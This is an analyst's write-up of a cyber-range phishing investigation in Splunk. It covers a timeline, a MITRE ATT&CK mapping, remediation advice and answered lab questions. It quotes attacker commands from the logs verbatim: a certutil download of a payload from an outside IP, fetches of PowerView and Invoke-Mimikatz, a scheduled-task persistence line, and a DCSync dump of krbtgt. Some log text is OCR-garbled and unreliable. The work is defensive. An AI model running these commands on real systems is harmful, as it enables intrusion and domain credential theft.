

Splunk IT

Analyst: Benjamin Liu

Date: 5/25/2026

Executive Summary

A phishing campaign happened at 1/17/24 11:33:53 AM. The infected user ricksanchez and Desktop1 have been contained. Local account krbtgt's credential data may be exfiltrated. After investigation, the attack chain is tracked, including misleading the user to click malicious link, open the malicious payload, Macro embedded in the payload executed automatically to download c2 agent, then powerview and invoke_mimikatz scripts were downloaded and interpreted, the account krbtgt credential hash was exfiltrated. Mapping to Mitre Attack, the attack chain involves initial access, Execution, Command and control, Exfiltration. Remediation suggestions are including that containing the account and Desktop1 and eliminating the malicious payloads. Enforcing least privilege principles and IDS or IPS were recommended. Further monitoring required for this case.

Scenario

One of the employees clicked on a malicious link and got the endpoint compromised. After executing malicious files and getting a foothold, the attacker compromised the AD by dumping sensitive information.

What we have: Splunk; Machine:(Cyberrange-DC,Desktop1; Desktop2), Log source:(Security; System; Sysmon; Application);

Timeline

TIME	TYPE	IOCs	NOTE
1/17/24 11:33:53 AM	file download	C:\Users\ricksanchez\Downloads\Invoice.docm:Zone.Identifier	User: CYBERRANGE\ricksanchez; Host:Desktop1
1/17/24 11:36:25 AM	process created	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\ricksanchez\Downloads\Invoice.docm" /o "	ProcessId: 2704; User: CYBERRANGE\ricksanchez; Host:Desktop1
1/17/24 11:37:17 AM	Process created	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\ricksanchez\Downloads\Invoice.docm" /o ""	ProcessID:3456;User: CYBERRANGE\ricksanchez; Host:Desktop1
1/17/24 11:37:36 AM	process created	commandline: cmd.exe /c certutil -urlcache -split -f "http://24.199.117.142:1337/svchost.exe" "C:\Windows\Temp\svchost.exe"	parentcommandline : "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\ricksanchez\Downloads\Invoice.docm" /o ""; Host:Desktop1

1/17/24 11:48:15 AM	process created	certutil.exe -urlcache -f https://raw.githubusercontent.com/PowerShellMafia/Powercat/master/Recon/PowerView.ps1 PowerView.ps1	User: CYBERRANGE\ricksanchez Host: Desktop1
1/17/24 11:49:30 AM	process created	PowerShell.exe -ExecutionPolicy Bypass	User: CYBERRANGE\ricksanchez; Host: Desktop1
1/17/24 11:52:54 AM	process created	schtasks.exe /create /tn "Microsoft Teams Updater" /sc onlogon /tr C:\Windows\Temp\svchost.exe	User: CYBERRANGE\ricksanchez; Host: Desktop1
1/17/24 11:57:46 AM	process created	certutil.exe -urlcache -f https://raw.githubusercontent.com/PowerShellMafia/Powercat/master/Exfiltration/Invoke-Mimikatz.ps1 Invoke-Mimikatz.ps1	User: CYBERRANGE\ricksanchez; Host: Desktop1
1/17/24 11:59:28 AM	Process created	powershell.exe .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -Command "lsadump::dcsync /domain:CYBERRANGE.local /user:krbtgt"	User: CYBERRANGE\ricksanchez; Host: Desktop1

Mitre Attack Mapping AND IOCS

Technique ID	Note	IOCs
T1566.002	Phishing: Spearphishing Link	C:\Users\ricksanchez\Downloads\Invoice.docm: Zone.Identifier
T1204.002	User Execution: Malicious File	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\ricksanchez\Downloads\Invoice.docm" /o ""
T1105	Ingress Tool Transfer	commandline: cmd.exe /c certutil -urlcache -split -f "http://24.199.117.142:1337/svchost.exe" "C:\Windows\Temp\svchost.exe"
T1059.001	Command and scripting interpreter: powershell	PowerShell.exe -ExecutionPolicy Bypass
T1105	Ingress Tool Transfer	certutil.exe -urlcache -f https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 PowerView.ps1
T1053.005	Scheduled Task	schtasks.exe /create /tn "Microsoft Teams Updater" /sc onlogon /tr C:\Windows\Temp\svchost.exe
T1105	Ingress Tool Transfer	certutil.exe -urlcache -f https[:]//raw[.]githubusercontent[.]com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 Invoke-Mimikatz.ps1

T1547	Registry Run Keys / Startup Folder	HKU\S-1-5-21-1791928432-308273768-72565828-1103\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\com.squirrel.Teams.Teams
T1003.006	credential Access: DCSync	powershell.exe . .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -Command '"lsadump::dcsync /domain:CYBERRANGE.local /user:krbtgt"'

<pre>1 host=DESKTOP1 source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=13 TargetObject=run* sort +_time 2 table _time Message EventCode</pre>		Since date time
✓ 9 events (1/7/24 11:36:25.000 AM to 5/25/26 8:13:30.000 PM) No Event Sampling ▾		
Events Patterns Statistics (9) Visualization		
20 Per Page ▾ Format Preview ▾		
_time ↕	Message ↕	EventCode ↕
2024-01-17 11:44:55	Registry value set: RuleName: T1060,RunKey EventType: SetValue UtcTime: 2024-01-17 11:44:55.919 ProcessGuid: {51ab1b3d-bdb5-65a7-e400-000000000780} ProcessId: 7398 Image: C:\Users\ricksanchez\AppData\Local\Microsoft\Teams\current\Teams.exe TargetObject: HKU\S-1-5-21-1791928432-308273768-72565828-1103\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\com.squirrel.Teams.Teams Details: C:\Users\ricksanchez\AppData\Local\Microsoft\Teams\update.exe --processStart "Teams.exe" --process-start-args "--system-initiated" User: CYBERRANGE\ricksanchez	13

Remediation Recommendation

Immediate action:

- Suspend the account of ricksanchez and reset credential.
- Containing the infected machine from any connection and duplicating for analysing and eliminating the malicious files at "C:/Windows/Temp/" on Desktop1.
- Deleting the scheduled task named "Microsoft Teams Updater" on Desktop1.
- Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.
- Use network filtering to block outbound traffic from compromised systems to unapproved external destinations

- PowerShell Constrained Language mode can be used to restrict access to sensitive or otherwise dangerous language elements such as those used to execute arbitrary Windows APIs or files
- Set PowerShell execution policy to execute only signed scripts.

Long-term suggestion:

- Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.
- On Windows 10, various Attack Surface Reduction (ASR) rules can be enabled to prevent the execution of potentially malicious executable files
- Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM.
- Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process.
- Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known protocols like FTP can be used to mitigate activity at the network level
- consider restricting PowerShell execution policy to administrators
- Anti-virus can be used to automatically quarantine suspicious files, such as malicious ps scripts.

- Manage the access control list for "Replicating Directory Changes" and other permissions associated with domain controller replication
- Ensure that local administrator accounts have complex, unique passwords across all systems on the network.
- Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled

Investigation screenshot

Q1) Did one of the employees inform you about a recent phishing email they received named "Invoice" during the investigation? Can you locate the IP address from which the file was downloaded? (Format: X.X.X.X:Port) *(3 points)*

139.59.21.147:8080

invoice EventCode=11

Event (before 5/25/26 5:26:54.000 PM) No Event Sampling

Events (1) Patterns Statistics Visualization

Format Timeline Zoom Out Zoom to Selection Deselect

List Format 20 Per Page

Hide Fields	All Fields	i	Time	Event
SELECTED FIELDS host 1 source 1 sourcetype 1			1/17/24 11:33:53.000 AM	01/17/2024 03:33:53 AM LogName=Microsoft-Windows-Sysmon/Operational EventCode=11 EventType=4 ComputerName=DESKTOP1.CYBERRANGE.local User=NOT_TRANSLATED Sid=S-1-5-18 SidType=0 SourceName=Microsoft-Windows-Sysmon Type=Information RecordNumber=7303 Keywords=None TaskCategory=File created (rule: FileCreate) OpCode=Info Message=File created: RuleName: Downloads UtcTime: 2024-01-17 11:33:53.758 ProcessGuid: {51ab1b3d-bb21-65a7-ed03-000000000000} ProcessId: 9212 Image: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe TargetFilename: C:\Users\ricksanchez\Downloads\Invoice.docm:Zone.Identifier CreationUtcTime: 2024-01-17 11:33:52.727 User: CYBERRANGE\ricksanchez Collapse host = DESKTOP1 source = WinEventLog:Microsoft-Windows-Sysmon/Operational sourcetype = Win

I have known the name of the downloaded file," invoice.docm", Then I search *invoice* and eventid=11.

1/17/24 ... 20 lines omitted ...
11:33:53.000 AM TargetFilename: C:\Users\ricksanchez\Downloads\Invoice.docm:Zone.Identifier
CreationUtcTime: 2024-01-17 11:33:52.727
Hash: MD5=6D398F02C73EB3DA28CDB05C7E9C9B0B, SHA256=BE3933551423E8B841CA826213EEA80362AB43E034A3E1E7A20B8852F17BC6E5, IMPHASH=00000000000000000000000000000000
Contents: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://139.59.21.147:8080/ HostUrl=http://139.59.21.147:8080/Invoice.docm
User: CYBERRANGE\ricksanchez
Show all 25 lines
host = DESKTOP1 source = WinEventLog:Microsoft-Windows-Sysmon/Operational sourcetype = WinEventLog:Microsoft-Windows-Sysmon/Operational

The malicious file was opened, Processid : 2704.

ParentProcessGuid	[51ab1b3d-bbb9-65a7-1104-000000000600]
ParentProcessId	5572
ParentUser	CYBERRANGE\ricksanchez
ProcessGuid	[51ab1b3d-bbb9-65a7-1104-000000000600]
ProcessId	2704

LogName	Microsoft-Windows-Sysmon/Operational
Message	Network connection detected: RuleName: - UtcTime: 2024-01-17 11:36:29.719 ProcessGuid: [51ab1b3d-bbb9-65a7-1104-000000000600] ProcessId: 2704 Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE User: CYBERRANGE\ricksanchez Protocol: tcp Initiated: true SourceIsIpv6: false SourceIp: 192.168.79.178 SourceHostname: DESKTOP1.CYBERRANGE.local SourcePort: 49853 SourcePortName: - DestinationIsIpv6: false DestinationIp: 52.113.194.132 DestinationHostname: - DestinationPort: 443 DestinationPortName: https

this is the only file downloaded by process:2704.

1 host=DESKTOP1 source="WinEventLog:Microsoft-Windows-Sysmon/Operational" ProcessId=2704 EventCode=11 sort +_time		Since date time
2	table _time Message EventCode	
1 event (1/17/24 11:36:25.000 AM to 5/25/26 7:53:55.000 PM) No Event Sampling Job Smart Mode		
Events Patterns Statistics (1) Visualization 20 Per Page Format Preview		
_time	Message	EventCode
2024-01-17 11:36:26	File created: RuleName: Downloads UtcTime: 2024-01-17 11:36:324 ProcessGuid: [51ab1b3d-bbb9-65a7-1104-000000000600] ProcessId: 2704 Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE TargetFilename: <u>C:\Users\CYBERRANGE\ricksanchez\Downloads\invoice.docm</u> CreationUtcTime: 2024-01-17 11:36:26.324 User: CYBERRANGE\ricksanchez	11

EventID=11 after file was first opend at 1/17/24 11:36:25. Though they are not relative to invoice.docm, but they are IOCs.

Message	Network connection detected: RuleName: - UtcTime: 2024-01-17 11:36:29.719 ProcessGuid: [51ab1b3d-bbb9-65a7-1104-000000000600] ProcessId: 2704 Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE User: CYBERRANGE\ricksanchez Protocol: tcp Initiated: true SourceIsIpv6: false SourceIp: 192.168.79.178 SourceHostname: DESKTOP1.CYBERRANGE.local SourcePort: 49853 SourcePortName: - DestinationIsIpv6: false DestinationIp: 52.113.194.132 DestinationHostname: - DestinationPort: 443 DestinationPortName: https
OpCode	Info
ProcessGuid	[51ab1b3d-bbb9-65a7-1104-000000000600]
ProcessId	2704

Message	File created: RuleName: EXE UtcTime: 2024-01-17 11:37:38.536 ProcessGuid: [51ab1b3d-bc00-65a7-3904-000000000600] ProcessId: 3948 Image: C:\Windows\system32\certutil.exe TargetFilename: C:\Windows\Temp\svchost.exe CreationUtcTime: 2024-01-17 11:37:38.536 User: CYBERRANGE\ricksanchez
---------	--

Message	File created: RuleName: - UtcTime: 2024-01-17 11:57:47.008 ProcessGuid: [51ab1b3d-c0ba-65a7-a901-000000000700] ProcessId: 1152 Image: C:\Windows\SysWOW64\certutil.exe TargetFilename: C:\Users\ricksanchez\AppData\Local\Microsoft\Windows\NetCache\IE\ZL3Q2LX\Invoke-Mimikatz[1].ps1 CreationUtcTime: 2024-01-17 11:57:47.008 User: CYBERRANGE\ricksanchez
---------	--

Message ▾ File created: RuleName: - UtcTime: 2024-01-17 11:59:29.087 ProcessGuid: {51ab1b3d-c120-65a7-b801-000000000700} ProcessId: 8060 Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TargetFilename: C:\Users\ricksanchez\AppData\Local\Temp__PSScriptPolicyTest_Isoe1kv.0zj.ps1 CreationUtcTime: 2024-01-17 11:59:29.087 User: CYBERRANGE\ricksanchez

Q2) What is the file that was downloaded after the malicious document was opened? Please provide the complete path where the file was downloaded and saved (Format: C:\path\to\file.ext) (3 points)

C:\Windows\Temp\svchost.exe

Correct! ✓

1/17/24
11:37:17.000 AM

01/17/2024 03:37:17 AM
... 22 lines omitted ...
Company: Microsoft Corporation
OriginalFileName: WinWord.exe
CommandLine: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\ricksanchez\Downloads\Invoice.docm" /o ""
CurrentDirectory: C:\Users\ricksanchez\Downloads\
[Show all 38 lines](#)

Event Actions

Type	Field	Value	Actions
Selected	host	DESKTOP1	
	source	WinEventLog/Microsoft-Windows-Sysmon/Operational	
	sourcetype	WinEventLog/Microsoft-Windows-Sysmon/Operational	
Event	CommandLine	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\ricksanchez\Downloads\Invoice.docm" /o ""	

Q3) What is the URL from which additional file were being downloaded? (Format: http://something:something/file.ext) (3 points)

http://24.199.117.142:1337/svchost.exe

Q4) Which domain user seemed to be compromised? (Format: Username) (2 points)

ricksanchez

At 11:37:36 AM, just 9s after opening the Invoice.docm, commandline was executed and shown parentcommandline. ProcessID: 6372.

New Search

1. Invoice
2. table _time Eventcode CommandLine

13 events (before 5/25/26 11:24:34.000 PM) No Event Sampling ▾

Events (13) Patterns Statistics Visualization

Format Timeline ▾ Zoom Out Zoom to Selection X DeSelect: 1 minute per column

Hide Fields All Fields

SELECTED FIELDS
u host 1
u source 1
u sourcetype 1

INTERESTING FIELDS
u CommandLine 4
u Company 1
u ComputerName 1
u Contents 4
u CreationUtcTime 1
u CurrentDirectory 1
u Description 3
u EventCode 4
u EventType 2
u FileVersion 3
u Hash 4
u Hashes 3
u Image 5
u Index 1
u IntegrityLevel 1
u Keywords 1

Time Event

1/17/24
11:37:36.000 AM

01/17/2024 03:37:36 AM
... 33 lines omitted ...
ParentProcessId: 3456
ParentImage: C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
ParentCommandLine: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\ricksanchez\Downloads\Invoice.docm" /o ""
ParentUser: CYBERRANGE\ricksanchez
[Show all 38 lines](#)

Event Actions ▾

Type	Field	Value	Actions
Selected	host ▾	DESKTOP1	▾
	source ▾	WinEventLog/Microsoft-Windows-Sysmon/Operational	▾
	sourcetype ▾	WinEventLog/Microsoft-Windows-Sysmon/Operational	▾
Event	CommandLine ▾	cmd.exe /c certutil -urlcache -split -f "http://24.199.117.142:1337/svchost.exe" "C:\Windows\Temp\svchost.exe"	▾
	Company ▾	Microsoft Corporation	▾
	ComputerName ▾	DESKTOP1\CYBERRANGE.local	▾
	CurrentDirectory ▾	C:\Users\ricksanchez\Downloads\	▾
	Description ▾	Windows Command Processor	▾

Follow the downloaded svchost.exe, I search and filter with field image:

C:\windows\temp\svchost.exe. I got 8 items. All about EventCode:3 , such as 24.199.117.142:4444.

So i assume that the executive is apart of c2 connection.

1/17/24 01:17/2024 03:45:28 AM
11:45:28.000 AM LogName=Microsoft-Windows-Sysmon/Operational
EventCode=3
EventType=4
ComputerName=DESKTOP1.CYBERRANGE.local
Show all 33 lines
Event Actions

Type	Field	Value	Ac
Selected	host	DESKTOP1	
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational	
	sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational	
Event	ComputerName	DESKTOP1.CYBERRANGE.local	
	DestinationHostName	-	
	DestinationIp	24.199.117.142	
	DestinationIsIpv6	false	
	DestinationPort	4444	
	DestinationPortName	-	
	EventCode	3	
	EventType	4	
	Image	C:\Windows\Temp\svchost.exe	
	Initiated	true	
	Keywords	None	
	LogName	Microsoft-Windows-Sysmon/Operational	
	Message	Network connection detected: RuleName: - UrlTime: 2024-01-17 11:45:26.171 ProcessGuid: {51abfb3d-bdd5-65a7-0a01-000000000700} ProcessId: 8124 Image: C:\Windows\Temp\svchost.exe User: CYBERRANGE\ricksanchez Protocol: tcp Initiated: true SourceIsIpv6: false SourceIp: 192.168.79.178 SourceHostName: DESKTOP1.CYBERRANGE.local SourcePort: 49805 SourcePortName: - DestinationIsIpv6: false DestinationIp: 24.199.117.142 DestinationHostName: - DestinationPort: 4444 DestinationPortName: -	

From previous investigation, I know that "C:Windows\Temp\" is the data staging path. So I search the path in Host Desktop1 because all investigation happened in Desktop1 so far.

>	1/17/24	... 25 lines omitted ...
	11:37:36.000 AM	CommandLine: certutil -urlcache -split -f "http://24.199.117.142:1337/svchost.exe" "C:\Windows\Temp\svchost.exe"
		CurrentDirectory: C:\Users\ricksanchez\Downloads\
		... 8 lines omitted ...
		ParentImage: C:\Windows\System32\cmd.exe
		ParentCommandLine: cmd.exe /c certutil -urlcache -split -f "http://24.199.117.142:1337/svchost.exe" "C:\Windows\Temp\svchost.exe"
		ParentUser: CYBERRANGE\ricksanchez
		Show all 38 lines
		host = DESKTOP1 source = WinEventLog:Microsoft-Windows-Sysmon/Operational sourcetype = WinEventLog:Microsoft-Windows-Sysmon/Operational

Q5) Could you check if there were any persistent actions detected? Please name the program utilized (Format: filename.ext) (2 points)

schtasks.exe

Correct! ✓

Q6) What is the name of the task employed for maintaining persistence? (Format: Task Name) (3 points)

Microsoft Teams Updater

Correct! ✓

Command Line	Count	%
"C:\Windows\Temp\svchost.exe"	3	18.75%
schtasks.exe /create /tn "Microsoft Teams Updater" /sc onlogon /tr C:\Windows\Temp\svchost.exe	2	12.5%
"C:\Windows\system32\cmd.exe"	1	6.25%
C:\Windows\system32\cmd.exe	1	6.25%
Powershell.exe -ExecutionPolicy Bypass	1	6.25%
certutil -urlcache -split -f "http://24.199.117.142:1337/pschost.exe"	1	6.25%
"C:\Windows\Temp\svchost.exe"	1	6.25%
certutil.exe -urlcache -f https://raw.githubusercontent.com/PowershellHafia/PowerSploit/master/Exfiltration/Invoke-MiniKatz.ps1 Invoke-MiniKatz.ps1	1	6.25%
certutil.exe -urlcache -f https://raw.githubusercontent.com/PowershellHafia/PowerSploit/master/Recon/PowerView.ps1 PowerView.ps1	1	6.25%
cmd.exe /c certutil -urlcache -split -f "http://24.199.117.142:1337/pschost.exe"	1	6.25%
"C:\Windows\Temp\svchost.exe"	1	6.25%
hostname	1	6.25%

There is a key word "run" in the registry hive path for persistence tasks.

Search criteria: host=DESKTOP1 source=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=13 TargetObject=*run* sort: _time

Search results: 9 events (1/17/24 11:36:25.000 AM to 5/25/26 8:13:30.000 PM)

_time	Message	EventCode
2024-01-17 11:44:55	Registry value set: RuleName: T1060_RunKey EventType: SetValue UtcTime: 2024-01-17 11:44:55.919 ProcessGuid: {51ab1b3d-bdb5-65a7-e400-000000000700} ProcessId: 7396 Image: C:\Users\ricksanchez\AppData\Local\Microsoft\Teams\current\Teams.exe TargetObject: HK\Users-1-5-21-1791928432-308273768-725658328-1103\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\com.squirrel.Teams.Teams Details: C:\Users\ricksanchez\AppData\Local\Microsoft\Teams\Update.exe --processStart "Teams.exe" --process-start-args "--system-initiated" User: CYRFRBRANP\ricksanchez	13

From the commandline field, I notice that schtasks.exe executed and include onlogon function. I identify this action belongs to persistence stage.

Q7) What famous script, commonly used by attackers, was dropped as an additional file to facilitate internal reconnaissance and enumeration? (Format: filename.ext) (3 points)

PowerView.ps1

At the same page, I notice that many other malicious files downloaded. Powerview.ps1 is the first script run which may be for internal reconnaissance and enumeration.

Q8) What additional file was deployed by the attacker to extract credentials? (Format: filename.ext) (3 points)

Invoke-mimikatz.ps1

Correct! ✓

```
> 1/17/24 01/17/2024 03:59:28 AM
11:59:28.000 AM ... 22 lines omitted ...
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: powershell.exe . .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -Command '"lsadump::dcsync /domain:CYBERRANGE:local /user:krbtgt"'
CurrentDirectory: C:\Windows\Temp\
Show all 38 lines
host = DESKTOP1 source = WinEventLog:Microsoft-Windows-Sysmon/Operational sourcetype = WinEventLog:Microsoft-Windows-Sysmon/Operational
```

Q9) What technique for credential dumping, similar to a known method often used in domain controller environments, was employed by the attacker? (Format: xxxxxx) (3 points)

dcsync

Correct! ✓

ATTACK V19 has been released! Check out the [blog post](#) for more information.

TECHNIQUES

- OS Credential Dumping
 - LSASS Memory
 - Security Account Manager
 - NTDS
 - LSA Secrets
 - Cached Domain Credentials
 - DCSync**
 - Proc Filesystem
 - /etc/passwd and /etc/shadow
 - Steal Application Access Token
 - Steal or Forge Authentication Certificates
 - Steal or Forge Kerberos Tickets
 - Steal Web Session Cookie
 - Unsecured Credentials
- Discovery
- Lateral Movement
- Collection
- Command and Control
- Exfiltration
- Impact

OS Credential Dumping: DCSync

Other sub-techniques of OS Credential Dumping (8)

Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)^[1] ^[2] ^[3] ^[4] to simulate the replication process from a remote domain controller using a technique called DCSync.

Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data^[5] from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket^[6] or change an account's password as noted in Account Manipulation.^[7]

DCSync functionality has been included in the "lsadump" module in Mimikatz.^[8] Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.^[9]

ID: T1003.006
Sub-technique of: T1003
Tactic: Credential Access
Platforms: Windows
Contributors: ExtraHop, Vincent Le Toux
Version: 1.1
Created: 11 February 2020
Last Modified: 24 October 2025
[Version Permalink](#)

Procedure Examples

ID	Name	Description
C0027	C0027	During C0027, Scattered Spider performed domain replication. ^[10]
G1006	Earth Lusca	Earth Lusca has used a <code>dcsync</code> command with Mimikatz to retrieve credentials from an exploited controller. ^[11]
G1004	LAPSUS\$	LAPSUS\$ has used DCSync attacks to gather credentials for privilege escalation routines. ^[12]
S0002	Mimikatz	Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network

Further Investigation for compromised Domain Controller.

The first infected machine is Desktop1. By search eventCode=3, I get the sourceip :

192.168.79.178

Type	Field	Value	Actions
Selected	host	DESKTOP1	▼
	source	WinEventLog:Microsoft-Windows-Sysmon/Operational	▼
	sourcetype	WinEventLog:Microsoft-Windows-Sysmon/Operational	▼
Event	ComputerName	DESKTOP1.CYBERRANGE.local	▼
	DestinationHostname	CYBERRANGE-DC	▼
	Destinationip	192.168.79.176	▼
	DestinationipV6	false	▼
	DestinationPort	389	▼
	DestinationPortName	ldap	▼
	EventCode	3	▼
	EventType	4	▼
	Image	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	▼
	Initiated	true	▼
	Keywords	None	▼
	LogName	Microsoft-Windows-Sysmon/Operational	▼
	Message	Network connection detected: RuleName: - UtcTime: 2024-01-17 11:51:09.976 ProcessGuid: [51abfb3d-beca-65a7-6001-000000000700] ProcessId: 1432 Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe User: CYBERRANGE\vicksanchez Protocol: tcp Initiated: true SourceipV6: false Sourceip: 192.168.79.178 SourceHostname: DESKTOP1.CYBERRANGE.local SourcePort: 49887 SourcePortName: - DestinationipV6: false Destinationip: 192.168.79.176 DestinationHostname: CYBERRANGE-DC DestinationPort: 389 DestinationPortName: ldap	▼
	OpCode	Info	▼
	ProcessGuid	[51abfb3d-beca-65a7-6001-000000000700]	▼
	ProcessId	1432	▼
	Protocol	tcp	▼
	RecordNumber	9755	▼
	RuleName	-	▼
	Sid	S-1-5-18	▼
	SidType	0	▼
	SourceHostname	DESKTOP1.CYBERRANGE.local	▼
	Sourceip	192.168.79.178	▼

Then pivot to DC, search by eventCode=3 and field sourceip, I get the DC's ip: 192.168.79.176.

Type	☒	Field	Value
Selected	☒	host ▾	CYBERRANGE-DC
	☒	source ▾	WinEventLog:Microsoft-Windows-Sysmon/Operational
	☒	sourcetype ▾	WinEventLog:Microsoft-Windows-Sysmon/Operational
Event	☐	ComputerName ▾	CYBERRANGE-DC.CYBERRANGE.local
	☐	DestinationHostname ▾	CYBERRANGE-DC.CYBERRANGE.local
	☐	DestinationIp ▾	192.168.79.176
	☐	DestinationIsIpv6 ▾	false
	☐	DestinationPort ▾	389
	☐	DestinationPortName ▾	ldap
	☐	EventCode ▾	3
	☐	EventType ▾	4
	☐	Image ▾	C:\Windows\System32\mmc.exe
	☐	Initiated ▾	true
	☐	Keywords ▾	None
	☐	LogName ▾	Microsoft-Windows-Sysmon/Operational
	☐	Message ▾	Network connection detected: RuleName: - UtcTime: 2024-01-17 2\mmc.exe User: CYBERRANGE\Administrator Protocol: tcp Initi rt: 49724 SourcePortName: - DestinationIsIpv6: false Destinator e: ldap
	☐	OpCode ▾	Info
	☐	ProcessGuid ▾	{56569b51-8836-65a7-cd00-000000000400}
	☐	ProcessId ▾	3532
	☐	Protocol ▾	tcp
	☐	RecordNumber ▾	658
	☐	RuleName ▾	-
	☐	Sid ▾	S-1-5-18
	☐	SidType ▾	0
	☐	SourceHostname ▾	CYBERRANGE-DC.CYBERRANGE.local
	☐	SourceIp ▾	192.168.79.176

I get connection IP of DC from destinationIP field and sourceIP field. I do not get the ip from Desktop1.

1 * EventCode=3 host="CYBERRANGE-DC"

✓ 13 events (1/17/24 7:14:33.000 AM to 1/17/24 11:57:46.000 AM) No Event Sampling ▾

Events (13) Patterns Statistics Visualization

Format Timeline ▾ - Zoom Out + Zoom to Selection x Deselect

List ▾ Format 20 Per Page ▾

< Hide Fields All Fields

SELECTED FIELDS
a host 1
a source 2
a sourcetype 2

INTERESTING FIELDS
a ComputerName 3
a DestinationHostname 2
a DestinationIp 2
a DestinationIpV6 1
DestinationPort 2
a DestinationPortName 2
EventCode 1
EventType 1
a Image 2
a Index 1

a punct 5
RecordNumber 13
a RuleName 1
a Sid 1
SidType 1
a SourceHostname 1
a SourceIp 1
a SourceIpV6 1
a SourceName 3
SourcePort 3
a SourcePortName 1
a splunk_server 1
a TaskCategory 2
a Type 1

i Time Event

> 1/17/24 01/17/2024 12:14:45 AM
8:14:45.000 AM LogName=System

DestinationIp

2 Values, 23.077% of events Selected Yes No

Reports
Top values Top values by time Rare values
Events with this field

Values	Count	%
152.195.38.76	2	66.667%
192.168.79.176	1	33.333%

SourceIp

1 Value, 23.077% of events Selected Yes No

Reports
Top values Top values by time Rare values
Events with this field

Values	Count	%
192.168.79.176	3	100%

I do search the ip the SC visited, 152.195.38.76. The result seems like very normal.


```
NetRange:      152.195.0.0 - 152.195.255.255
CIDR:          152.195.0.0/16
NetName:       VZ
NetHandle:     NET-152-195-0-0-1
Parent:        UU-152-176 (NET-152-176-0-0-1)
NetType:       Reassigned
OriginAS:
Organization:  Edgecast Inc. (EDGE-25)
RegDate:       2022-12-15
Updated:       2022-12-15
Ref:           https://rdap.arin.net/registry/ip/152.195.0.0

OrgName:       Edgecast Inc.
OrgId:         EDGE-25
Address:       13031 W Jefferson Blvd. Building 900
City:          Los Angeles
StateProv:     CA
PostalCode:    90094
Country:       US
RegDate:       2022-04-26
Updated:       2026-05-01
Ref:           https://rdap.arin.net/registry/entity/EDGE-25

OrgRoutingHandle: NOC2475-ARIN
OrgRoutingName:   Network Operations Center
OrgRoutingPhone:  +1-310-479-3200
OrgRoutingEmail:  support@uplynk.com
OrgRoutingRef:    https://rdap.arin.net/registry/entity/NOC2475-ARIN

OrgTechHandle: NOC2475-ARIN
OrgTechName:     Network Operations Center
OrgTechPhone:    +1-310-479-3200
OrgTechEmail:    support@uplynk.com
OrgTechRef:      https://rdap.arin.net/registry/entity/NOC2475-ARIN
```

I search the connection of Desktop2. I do not find the ip of Desktop1. So I can say there is no lateral movemwnt so far.

1

* EventCode=3 host="Desktop2"

✓ 20 events (1/17/24 7:14:33.000 AM to 1/17/24 11:57:46.000 AM)

No Event Sampling ▼

Events (20)PatternsStatisticsVisualization

Format Timeline ▼Zoom OutZoom to SelectionDeselect

List ▼Format20 Per Page ▼

< Hide FieldsAll Fields

SELECTED FIELDS

a host 1

a source 2

a sourcetype 2

INTERESTING FIELDS

a ComputerName 3

a DestinationHostname 2

a DestinationIp 8

a DestinationIpIpv6 1

DestinationPort 2

a DestinationPortName 2

EventCode 1

EventType 1

a Image 3

a Index 1

a Initiated 1

a Keywords 2

linecount 2

a LogName 2

DestinationIp

8 Values, 75% of events

SelectedYesNo

Reports

Top valuesTop values by timeRare values

Events with this field

Values	Count	%
152.195.38.76	4	26.667%
104.101.16.230	2	13.333%
152.199.40.6	2	13.333%
20.190.145.140	2	13.333%
20.205.115.102	2	13.333%
13.107.42.16	1	6.667%
20.190.146.38	1	6.667%
52.113.194.132	1	6.667%